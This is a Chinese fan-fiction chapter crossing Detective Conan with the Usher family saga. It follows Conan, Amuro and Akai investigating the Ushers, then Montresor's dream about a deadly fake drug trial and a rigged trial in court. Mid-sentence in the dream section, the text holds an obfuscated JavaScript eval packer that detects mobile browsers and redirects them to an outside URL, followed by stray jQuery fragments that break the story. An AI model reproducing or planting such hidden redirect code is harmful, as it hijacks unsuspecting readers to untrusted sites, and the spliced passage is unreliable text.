蒙特雷索的头部遭受了重击且失血过多,他的猫也受了伤。
这显然是有人故意而为,柯南扫了眼人群里几个看起来有点不安的男人身上,最后把探究的目光放在面前这群刚刚赶到的人身上。
这群人是厄舍家的下属,着装统一、清一色的黑白配色,领头的是位穿着制服套装的白人长相的女士。
这位十分干练的女士有序地安排着现场的工作,让自己带过来的私人医生与几个保镖先行坐上救护车陪同蒙特雷索去往医院,自己则在现场与警察交流情况。
警察们没能在爆-炸前赶到案发现场,所以基本上是毛利小五郎与这位名为玛吉的女士在沟通。
玛吉会说日语,两人的沟通并没有障碍,柯南安静地站在毛利小五郎的脚边,听着两个人对话。
出乎意料地,玛吉对普洛斯佩罗·厄舍的死讯十分平静,几乎可以称之为面不改色、没有任何动容——对比于这位女士刚刚看见受伤的蒙特雷索时大惊失色、惊慌失措的表现,反差实在太大。
在对接普洛斯佩罗的事情上,玛吉很是公事公办,表示一切会配合警方,但当提及后续等蒙特雷索好转可能需要他配合警方调查时,玛吉脸色就变了,只是冷硬地说让警方提前联系,这个需要请示家主并且要等律师从美国过来。
这不由令柯南侧目——他刚刚拜托阿笠博士查过,蒙特雷索应该只是厄舍家的养子,这种豪门家族最看重血缘,作为养子、为什么会被看得比亲儿子还重要?
这件事看似与目前的案件无关,虽然已经找到凶手,但受害者额头上的刻字是什么意思还没有弄清楚,作为一名侦探,柯南不会放过任何细节。
玛吉的手机铃声打断了这场沟通,借助不起眼的身高的优势,柯南得以跟随玛吉到僻静处去探听更多消息。
电话当然没有外放,但柯南听到了电话那边是位女士的声音——只因电话对面的女士相当激动。
玛吉称呼对面的女士为“夫人”,两人的这通电话话里话外全是围绕着蒙特雷索,仅仅只提了一句「普洛斯佩罗少爷死了」便没了下文。
从玛吉恭敬的态度来看,柯南几乎可以确定,电话对面的女士是玛德琳·厄舍——厄舍家族的掌权人之一,与另一位掌权人罗德里克·厄舍是双胞胎。
在阿笠博士查到的信息里,玛德琳和罗德里克一样一直未婚,不过不同的是罗德里克有三个私生子,其中年龄最小的普洛斯佩罗就是今天被杀死的受害者。
柯南用手指摩擦着下巴,边沉思边往人群里走。
“怎么样,有什么新发现吗,柯南?”出声的是明显站在这里等待着他的安室透。
柯南摇了摇头,对安室透坦诚地说:“暂时没什么头绪,安室先生,你那边有没有什么我不知道的情报?”
这里只有他们两个人,柯南也就卸下了纯真小学生的伪装。
“对于厄舍家族,我知道的应该也不比你多。”安室透说:“厄舍家最近陷入了比较严重的官司纠纷,在这种情况下,作为养子的蒙特雷索·厄舍被送来了日本。”
柯南沉吟:“如果没有发生今天的事情,本来没什么问题。但结合今天厄舍家的这些人对蒙特雷索的重视程度……”
安室透微笑:“是啊,居然放弃作为大本营的美国,把这么看重的人送来日本,这就很能说明问题了。”
柯南:“看来,有些问题需要等蒙特雷索醒过来才能得到答案了……”
-
隔壁建筑的某处,做了易容的赤井秀一将这发生的一切尽收眼底。
这位FBI的王牌探员神色复杂,他本来只是跟踪普洛斯佩罗来到这个地方,没想到这位公子哥会把基本上处于被看管状态的蒙特雷索也带出来。
不过这也正好是个机会——试探蒙特雷索身边有没有组织的人的机会。
令人讶异地,就算蒙特雷索差点没能从那栋楼里出来,也没见任何组织的重要人物出手干预——是不知道他偷偷出来了亦或是真的如蒙特雷索所说、他与那个人没有什么关联?要从罗德里克·厄舍和玛德琳·厄舍那里下手吗?
尽管作为卧底的波本确实是出现在了这里,但从这位公安警察的反应来看,他出现在这里纯属意外,并非是执行组织的任务。
真是一个又一个的谜团。
他离开厄舍府那天破坏了那些人伪造的意外死亡现场,匿名将证据交给警视厅。这当然引起了组织的警觉,这让他私下调查的厄舍府的那座宅子——基本没有收获。
查来查去经办人就只是一家小公司,再想查下去,那家小公司的社长又是意外暴毙,线索就断在这里。
赤井秀一垂眸看着楼下的柯南,心下决定要找时机与这位虽然目前身体是小学生、但实际却是自己可托付一切的搭档分享情报。
-
蒙特雷索做了个梦。
他梦见了那位只有两面之缘的女士以及她的丈夫。
那位女士的丈夫是弗特纳多制药公司的‘药剂’试用者。
蒙特雷索第一次见到她的丈夫是在弗特纳多制药公司的秘密研究所里。
他不知道男人的名字,呈给他的资料里只有冰冷的字母和编号。
这位中年男士已经病入膏肓,但那双眼睛依旧很有神采,望向他的眼神里充满了长辈对晚辈的慈爱。
「真没想到负责这个实验的研究员居然会是这么小的孩子,真是年少有为。」男士看着他微笑。
那时的他年龄还很小,面具戴得没那么好,其实不擅长应对陌生人突如其来的善意,所以只是捧着资料陷入静默。
「我的孩子也和你差不多大,不过他可没你这么厉害,每天还像个上窜下跳的猴子,我的夫人每天都很头疼呢……」男人的眼神里全是温柔,絮絮叨叨地给他讲了些琐事。
「……听起来您真的很爱您的家庭,先生。」他开口,垂眸掩饰眼里藏不住的嫉妒。
男人笑:「厄舍夫人也很爱你啊,刚刚来的路上一直非常关心你呢。」
——那不是爱。
——厄舍家没有这么宝贵的东西。
但这种争辩没有意义,他不置可否,把话题转到别处:「先生,您为什么不选择更传统的治疗方式呢?」那样也许可以多活一年半载,多陪伴你最重要的家人。
「我听说这个实验如果成功未来可以造福很多人,而我这辈子生病的时间占了大半,对家庭也好、社会也好完全没能好好承担自己的责任……所以,我也想力所能及地为社会和其他人做点什么。」男人温和地看着他。
——真是大公无私的想法。
——可这才不是那么伟大的研究。
——这是那些贪得无厌的人为了一己私利而编造的谎言。
——你根本不知道这里是一个怎样的地狱。
他垂眸避开这双真诚的眼睛。
「先生,您……」
蓝牙耳麦里传来他名义上的母亲冷冰冰的威胁声音——「蒙蒂。」
「哦,我的宝贝蒙蒂。」大约是意识到自己的态度实在冷硬,耳麦里母亲的声音又忽地变得极尽温柔,「别听这些伪善者说这些话,你不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730282|207964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道他和他的家人拿了我们多少钱——那些钱甚至足够他们在纽约买一套体面的房子,拿钱办事这是他应该做的。」
——是的,伪善者。所有人都是伪善者。不要被伪善者所欺骗。
他闭上了嘴,低声向耳麦那边道歉:「对不起,母亲。」
「啊,抱歉,是我话太多了吗?」男人面带歉意地说:「希望不会影响到实验的进程,现在开始吗?」
他轻轻“嗯”了一声。
男人又笑了笑,最后说:「如果我能够幸运地好转,我想带着我的夫人和儿子再去唐人街吃一次四川菜——味道非常好,只是太过辛辣,生病以后再也没能去吃,真是可惜。」
——可是。
——根本不可能好转。
两种相悖的观念在脑子里打架,让他整个人发昏。
——人性本恶,你早就知道的,所以现在在动摇什么?
——你曾那么真诚地相信过,却被至亲之人用最残忍的方式摧毁了这份信任。
——爱是最大的骗局。
——我要辜负你的信任了,但我不会说对不起,因为你也是个伪善者。
蒙特雷索在教-堂里见到了那位丈夫已经处在最后阶段的女士。
他名义上的母亲亲切地揽住那位女士,轻言细语安慰:「我们已经做了所能做的一切,虔诚祈祷吧,如果今晚没有好转,那么就是神明在召唤他……」
当然不会有好转。
他是这个东西的开发者。
他再清楚不过,那根本不是什么所谓的治病良药,从一开始他们研究的就是一种最可怕的病毒。
那位女士信仰着的神灵雕像静静地、不悲不喜地注视着她。
那里有神吗?那里没有,那里只有人为某种臆想出来的绝对精神套上的神性外衣而已——人类按照自己的模样、根据自己的需求创造神灵。
而信奉这种东西的信徒却捧住双手,含着泪虔诚低语。
「‘宗-教是被压迫生灵的叹息,是无情世界的情感……’」*
在这个资本至上的国家,资本家的孩子会成为资本家、工人的孩子会成为工人……阶级跨越的道路早被彻底斩断,被榨干最后一点价值的人们只能以神之名聊以慰藉。
在这个资本至上的世界,一无所有的人做什么都很无力,一点风浪都能把他们的人生彻底掀翻、跌到谷底。
他最后一次见到那位女士是在法庭上,她将弗特纳多制药公司起诉,厄舍家族的所有成员无一缺席地出现在法庭的被告席。
她在法庭上愤怒陈词,指责弗特纳多公司售卖假药,为厄舍家族服务几十年的顶级精英律师亚瑟·皮姆却只是漫不经心地边玩填词游戏边说着一个词——「反对」。
而被厄舍家族买通的法官也只是淡淡地重复——「反对有效」。
整个庭审像一场笑话,但无一人敢提出任何质疑。
最后的最后,他的母亲“不计前嫌”地抱住那位丝毫不知自己成为资本博弈的棋子的女士,说:「我们真的为您丈夫的逝世感到心痛,但这也是我们研究药物的目的,我们也想减少这种痛苦的发生……」
这一幕被母亲安排的记者拍下并发布成新闻,又进一步巩固了厄舍家族的声誉。
……
“这个世界生病了,我要改变它。”
在这个梦里,他又回到了教-堂的神像前。
“您做不到的,由我来做。”
他抬起头注视神像。
“从现在起,我就是神。”
他对神像说。